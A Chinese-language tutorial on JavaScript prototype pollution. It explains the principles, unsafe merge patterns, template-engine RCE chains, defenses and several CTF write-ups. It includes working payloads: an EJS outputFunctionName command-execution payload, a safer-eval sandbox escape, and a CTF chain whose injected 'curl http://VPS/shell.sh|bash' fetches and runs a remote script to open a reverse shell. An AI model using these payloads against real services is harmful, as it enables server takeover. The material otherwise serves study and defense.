JavaScript 原型链污染攻击专题——从基础原理到 CTF 全利用链
前言
原型链污染(Prototype Pollution)是 JavaScript 特有的一种漏洞类型,根源在于 JS 基于原型的继承模型。当攻击者能够修改 Object.prototype 上的属性时,应用中所有对象都会继承被污染的属性,导致认证绕过、任意代码执行、拒绝服务等严重后果。
为什么原型链污染特别危险:
| 特性 | 影响 |
|---|---|
| 全局影响 | 修改 Object.prototype → 所有 {} 都受影响 |
| 持久性 | 一次污染,整个进程生命周期持续生效 |
| 隐蔽性 | 不直接修改目标对象,通过继承间接影响,代码审计难以发现 |
| 连锁反应 | 影响模板引擎、认证逻辑、配置读取等看似无关的模块 |
近年 CVE 一览:
| CVE | 影响 | CVSS | 年份 |
|---|---|---|---|
| CVE-2023-26136 | tough-cookie | 9.8 | 2023 |
| CVE-2022-2421 | express-validator | 9.8 | 2022 |
| CVE-2021-23440 | set-value (npm) | 9.8 | 2021 |
| CVE-2021-23450 | dojo | 9.8 | 2021 |
| CVE-2021-21306 | marked | 7.4 | 2021 |
| CVE-2020-28282 | getobject | 8.8 | 2020 |
| CVE-2019-10744 | lodash.defaultsDeep | 9.1 | 2019 |
| CVE-2018-16487 | lodash.merge | 5.5 | 2018 |
本文从原型链基础讲起,系统覆盖污染入口、利用链(EJS / Pug / Handlebars / Nunjucks / DoS / 前端XSS)、检测工具和防御方案。
一、JavaScript 原型链基础
1.1 什么是原型(Prototype)
JavaScript 中除了 null 和 undefined,万物皆对象。每个对象都有一个内部属性 [[Prototype]](通过 __proto__ 或 Object.getPrototypeOf() 访问),指向它的原型对象。当访问一个对象的属性时,如果它自身没有这个属性,JS 引擎会沿着 __proto__ 链向上查找。
1 | 访问 foo.bar: |
1.2 __proto__ vs prototype
这是初学者最容易混淆的概念:
__proto__ |
prototype |
|
|---|---|---|
| 谁有 | 所有对象 | 仅函数(构造函数) |
| 含义 | 指向当前对象的原型 | 指向该函数创建的实例的原型 |
| 关系 | obj.__proto__ === Constructor.prototype |
|
| 用途 | 查找属性时遍历原型链 | 定义所有实例共享的方法/属性 |
1 | function Foo() { |
1.3 原型链继承
1 | function Father() { |
1.4 属性查找规则(关键!)
1 | let foo = { bar: 1 }; |
核心结论:
污染
Object.prototype上的属性,只会影响自身没有同名属性的对象。已有同名属性的对象不受影响(自身属性遮蔽了原型链上的属性)。
这正是原型链污染的核心逻辑:通过污染原型链,让新创建的对象或没有该属性的对象默认继承污染的值。
1.5 Python 与 JS 的区别
1 | # Python 中 object 的属性不可修改 |
1 | // JavaScript 中 Object.prototype 可以修改 |
这就是为什么原型链污染只在 JavaScript 中存在——JS 允许在运行时修改内置类型的原型对象。
二、污染入口 —— 不安全的对象操作
原型链污染需要满足两个条件:
- 递归合并用户可控的数据到目标对象
- 合并过程中没有过滤
__proto__、constructor.prototype等特殊键
2.1 经典不安全的 merge 函数
1 | function merge(target, source) { |
攻击:
1 | let obj = {}; |
为什么 target[key] 能访问到原型链?
当 key = "__proto__" 时:
key in source→ true(JSON 中有这个 key)key in target→ true! 因为"__proto__" in {}返回 true(__proto__是原型链上的 getter/setter)typeof target[key] === 'object'→ true- → 进入递归
merge(target["__proto__"], source["__proto__"]) - → 实际操作的是
Object.prototype!
2.2 其他不安全的操作模式
1 | // 模式 1: 不安全的 extend |
2.3 常见 HTTP 污染入口
1 | // Express + qs(将 URL 参数解析为嵌套对象) |
2.4 如何发现污染入口
1 | # 1. 代码审计:搜索常见危险函数 |
三、利用手法
3.1 属性覆写 —— 最简单的利用
1 | // 污染 |
可以覆盖的关键属性:
| 属性 | 效果 |
|---|---|
isAdmin / isAuth |
认证绕过 |
role |
角色提升 |
canRead / canWrite |
权限提升 |
token |
固定 token 值 |
verified |
邮箱/手机验证绕过 |
3.2 EJS 模板引擎 RCE(经典链)
当应用同时满足以下条件时,可以通过原型链污染触发 EJS 的远程代码执行:
- 存在原型链污染入口
- 应用使用了 EJS 作为模板引擎
原理分析
EJS 在编译模板时会执行以下逻辑:
1 | // EJS 内部编译逻辑(简化) |
攻击点: 如果 options 中没有设置 outputFunctionName,代码会查找 opts.outputFunctionName,而 opts 继承自 Object.prototype!如果 Object.prototype.outputFunctionName 被污染,EJS 就会用它来命名生成的函数。
Payload
污染 outputFunctionName 为一段 JavaScript 代码,使 Function 构造器在创建函数时执行恶意代码:
1 | { |
为什么是两层
__proto__? 有些框架会创建嵌套的对象结构,污染Object.prototype后还需要确保 EJS 内部创建的opts对象能通过原型链访问到被污染的值。不同的 merge 实现和不同的 EJS 版本可能需要调整层级。
最终生成的函数变为:
1 | function _tmp1;global.process.mainModule.require('child_process').exec('...');var __tmp2(locals) { |
第一行 function _tmp1; 是个语法无效的函数声明(会被 JS 引擎忽略),global.process.mainModule.require('child_process').exec('...') 是真正执行的恶意代码,var __tmp2(locals) 后面的 {...} 是模板原始逻辑。
更简洁的 payload:
"outputFunctionName": "x;return global.process.mainModule.require('child_process').execSync('id').toString();//"可以让 EJS 渲染的输出直接被替换为命令执行结果。
前提条件
1 | // 应用必须使用 EJS 作为模板引擎 |
完整利用链
1 | 1. 找到污染入口(JSON body / query params) |
3.3 Pug/Jade 模板引擎 RCE
Pug(原名 Jade)在编译模板时也使用了 JS 代码生成,且依赖 Object.prototype 上的属性:
1 | // Pug 内部在编译时会读取 options 中的 debug 和 self 等属性 |
Payload:
1 | { |
具体利用方式取决于 Pug 的版本和编译配置,核心思路仍是污染编译选项。
3.4 Handlebars RCE
Handlebars 的 compile 函数在生成模板函数时也会查 Object.prototype:
1 | { |
3.5 Nunjucks RCE
1 | { |
3.6 服务端 DoS(拒绝服务)
1 | // 污染 toString 或 valueOf |
3.7 前端 XSS 链
如果服务端污染了 Object.prototype,并且前端代码使用了受影响的属性,可能导致 DOM XSS:
1 | // 服务端被污染后返回 HTML |
四、CTF 中的原型链污染
4.1 典型题目特征
CTF 中原型链污染题目的常见特征:
| 特征 | 说明 |
|---|---|
| merge/clone 函数 | 代码中出现递归合并对象的逻辑 |
| 用户可控的 JSON 输入 | URL 参数或 POST body 直接传入 merge |
| EJS/Pug 模板引擎 | app.set('view engine', 'ejs') |
| 认证绕过 | 登录后根据 user.role 判断权限 |
| qs 解析嵌套参数 | Express 默认用 qs 解析 a[b]=c 格式 |
| lodash 旧版本 | lodash.merge < 4.17.5 存在已知漏洞 |
4.2 题目模板(审计版)
1 | const express = require('express'); |
4.3 两种利用路径
路径一:直接属性覆写(绕过 isAdmin):
1 | {"__proto__": {"isAdmin": true}} |
路径二:EJS RCE(直接拿 shell 读 flag):
1 | { |
五、检测与发现
5.1 手动检测
1 | // 在疑似存在污染的请求后,发送检测请求 |
5.2 自动化工具
1 | # ppfuzz —— 原型链污染 Fuzzer |
5.3 黑盒测试 Payload 集合
1 | // === 基础探测 === |
六、防御措施
| 层面 | 措施 | 说明 |
|---|---|---|
| 代码层 | 过滤 __proto__、constructor、prototype 键 |
merge 时跳过这些 key |
| 代码层 | 使用 Object.create(null) 创建无原型对象 |
作为 merge 的 target |
| 代码层 | Object.freeze(Object.prototype) |
冻结原型(破坏性大,谨慎) |
| 依赖库 | lodash ≥ 4.17.5 | 修复了 defaultsDeep 的污染漏洞 |
| 依赖库 | 使用安全的 merge 库 | safe-merge、deepmerge 的 clone 模式 |
| HTTP 层 | 拦截含 __proto__ 的请求参数 |
WAF 规则 |
| Node.js | --disable-proto=delete |
Node.js 8.9.0+ 支持禁用 __proto__ |
| TypeScript | 使用 Map 代替普通对象存储用户数据 |
Map 不继承 Object.prototype |
安全 merge 实现
1 | function safeMerge(target, source) { |
使用无原型对象
1 | // 将用户数据存储在无原型的对象中 |
JavaScript Map 替代方案
1 | // Map 完全不继承 Object.prototype,天然免疫原型链污染 |
冻结 Object.prototype
1 | // 在应用入口处冻结原型(副作用:可能破坏依赖原型链的第三方库) |
WAF 规则示例
1 | # Nginx: 拦截 URL 中包含 __proto__ 的请求 |
1 | // Express 中间件 |
七、Node.js 内置防御
Node.js 在较新版本中逐步加强了对原型链污染的防御:
| 版本 | 特性 |
|---|---|
| Node.js 8.9.0+ | --disable-proto=delete 启动选项,移除 __proto__ 属性 |
| Node.js 12+ | Object.prototype.__proto__ 默认行为收紧 |
| Node.js 16+ | Object.hasOwn() 方法(比 obj.hasOwnProperty() 安全) |
| Node.js 20+ | 权限模型(Permission Model),限制 child_process 等模块 |
Node.js Permission Model(v20+):
1 | # 启动时限制 child_process |
八、快速决策树
1 | 发现对象合并点: |
九、CTF 实战案例
9.1 [安洵杯 2020] Validator —— express-validator 原型链污染
漏洞分析:
express-validator 依赖的 lodash 版本 < 4.17.17 存在原型链污染漏洞(CVE-2019-10744)。题目在 /login 路由中检查 info.system_open == "yes" 才返回 flag,但没有直接的 merge 函数——污染入口在 validationResult() 的参数解析中。
关键源码:
1 | const { body, validationResult } = require('express-validator'); |
Payload:
1 | { |
原理: lodash < 4.17.17 在处理嵌套对象路径时,未正确过滤 __proto__,导致 system_open 被写入 Object.prototype。随后 info.system_open 检查时,info 对象自身没有 system_open 属性,从原型链获取到 "yes" → 绕过检测。
9.2 Moectf 2021 fake game —— 经典 merge 函数污染
漏洞分析:
经典的 merge 递归函数,没有任何过滤,直接写 __proto__。
关键源码:
1 | function merge(a, b) { |
Payload:
1 | { |
原理: merge 后 user.health 虽然被设为 0(然后被 delete),但 Object.prototype.health 已经被污染为 9999999。后续代码中 let userHealth = user.health; if (userHealth === undefined) userHealth = 0; 时,user.health 从原型链拿到了 9999999,直接秒杀 boss。
9.3 [GKCTF 2020] EZ三剑客-EzNode —— safer-eval 沙箱 + setTimeout 整数溢出
漏洞组合:
两道防线,各有一个漏洞:
- setTimeout 整数溢出:
/eval路由限制 60 秒后才能执行,但 delay 上限为 2147483647ms(约 24.8 天),超出此值发生 32 位溢出 → 回调立即执行。 - safer-eval 沙箱逃逸:safer-eval 库的沙箱可以被
constructor.constructor链突破。
关键源码:
1 | app.use((req, res, next) => { |
利用步骤:
- 绕过 setTimeout:
/eval?delay=2147483648→ 溢出 → 立即执行 - 沙箱逃逸 RCE:
1 | e = clearImmediate.constructor("return process;")() |
原理: clearImmediate 是 safer-eval 沙箱暴露的合法函数,它的 constructor 就是 Function 构造器。Function("return process")() 获取到沙箱外部的 process 对象 → mainModule.require() → RCE。
9.4 [网鼎杯 2020 青龙组] notes —— undefsafe 多参数污染 + for…in 命令执行
漏洞分析:
undefsafe 库允许通过路径字符串修改对象深层属性,但没有过滤 __proto__。配合 /status 路由中 for...in 遍历原型链 + exec() 执行命令,实现 RCE。
关键源码:
1 | const undefsafe = require('undefsafe'); |
攻击链:
POST /edit_note→id=__proto__&author=curl http://VPS/shell.sh|bash&raw=aundefsafe(this.note_list, '__proto__.author', 'curl...')→ 污染Object.prototype.author- 访问
/status→for...in遍历commands时遍历到原型链上的author属性 exec(commands['author'])→exec('curl http://VPS/shell.sh|bash')→ 下载并执行恶意脚本 → 反弹 shell
undefsafe 效果演示:
1 | var object = { a: { b: [1, 2, 3] } }; |
undefsafe 的路径参数可以访问 __proto__,第三个参数直接赋值,且没有任何过滤。
参考
- PortSwigger - Prototype Pollution
- OWASP - Prototype Pollution Prevention Cheat Sheet
- BlackFan’s Prototype Pollution Exploitation (客户端链)
- ppfuzz - Prototype Pollution Fuzzer
- CTF Wiki - Prototype Pollution
- MDN - Object.prototype
- Snyk - Prototype Pollution Explained
- Node.js - Permission Model
- EJS GitHub - Security
- lodash CVE-2019-10744